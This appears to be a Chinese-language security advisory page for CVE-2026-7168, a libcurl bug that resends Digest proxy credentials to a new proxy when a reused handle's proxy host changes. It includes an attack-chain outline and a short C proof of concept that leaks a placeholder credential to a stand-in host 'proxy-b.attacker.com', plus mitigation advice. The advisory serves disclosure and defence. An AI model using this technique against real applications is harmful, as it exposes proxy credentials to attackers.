IPBUF安全漏洞报告
English
CVE-2026-7168 CVSS 5.3 中危

CVE-2026-7168 libcurl代理认证信息泄露漏洞

披露日期: 2026-05-13
来源: 2499f714-1537-4658-8207-48ae4bb9eae9

漏洞信息

漏洞编号
CVE-2026-7168
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
libcurl

相关标签

信息泄露libcurl代理认证HTTPCVE-2026-7168

漏洞概述

CVE-2026-7168是libcurl中的一个中危信息泄露漏洞。当应用程序使用libcurl通过配置了摘要认证的HTTP代理完成数据传输后,如果在后续操作中重用同一个句柄但更改了代理主机,libcurl会错误地将原本属于第一个代理的Proxy-Authorization头字段发送给第二个代理。这种行为导致敏感的认证凭证可能被泄露给未授权的第三方。

技术细节

该漏洞源于libcurl在处理连接句柄重用及代理切换时的逻辑缺陷。当应用程序首先通过一个配置了摘要认证的代理进行HTTP请求,随后在同一个句柄上直接更改目标代理主机地址并发起第二次请求时,libcurl未能正确清理或验证已缓存的认证凭证上下文。由于摘要认证机制依赖于特定的挑战与响应逻辑,libcurl错误地保留了针对第一个代理生成的Proxy-Authorization头,并将其原样发送给第二个代理。攻击者若能控制第二个代理或处于中间人位置,即可截获此凭证,进而利用该凭证访问原本受限的第一个代理资源,造成严重的信息泄露或未授权访问风险。

攻击链分析

STEP 1
步骤1
受害者应用程序配置并使用带有摘要认证的Proxy A发起请求。
STEP 2
步骤2
应用程序重用同一个CURL句柄,将代理设置更改为Proxy B(可能由攻击者控制)。
STEP 3
步骤3
libcurl错误地将用于Proxy A的Proxy-Authorization头发送给Proxy B。
STEP 4
步骤4
攻击者通过Proxy B截获认证凭证。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <curl/curl.h> int main(void) { CURL *curl; CURLcode res; curl_global_init(CURL_GLOBAL_DEFAULT); curl = curl_easy_init(); if(curl) { // Target URL curl_easy_setopt(curl, CURLOPT_URL, "http://example.com/data"); // Step 1: Use Proxy A with Digest Authentication curl_easy_setopt(curl, CURLOPT_PROXY, "http://proxy-a.internal:8080"); curl_easy_setopt(curl, CURLOPT_PROXYUSERPWD, "admin:secret"); curl_easy_setopt(curl, CURLOPT_PROXYAUTH, CURLAUTH_DIGEST); // Perform first request res = curl_easy_perform(curl); if(res != CURLE_OK) fprintf(stderr, "Request failed: %s\n", curl_easy_strerror(res)); // Step 2: Change to Proxy B reusing the same handle // Vulnerability: The Proxy-Authorization header for Proxy A is sent to Proxy B curl_easy_setopt(curl, CURLOPT_PROXY, "http://proxy-b.attacker.com:8080"); // Perform second request res = curl_easy_perform(curl); if(res != CURLE_OK) fprintf(stderr, "Request failed: %s\n", curl_easy_strerror(res)); curl_easy_cleanup(curl); } curl_global_cleanup(); return 0; }

影响范围

libcurl (具体受影响版本未在提供文本中明确,请参考官方安全公告)

防御指南

临时缓解措施
在更改代理主机之前,应销毁并重新创建CURL句柄,或者确保显式清除与代理认证相关的选项(如CURLOPT_PROXYUSERPWD),以防止凭证被错误地重用于新的目标。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表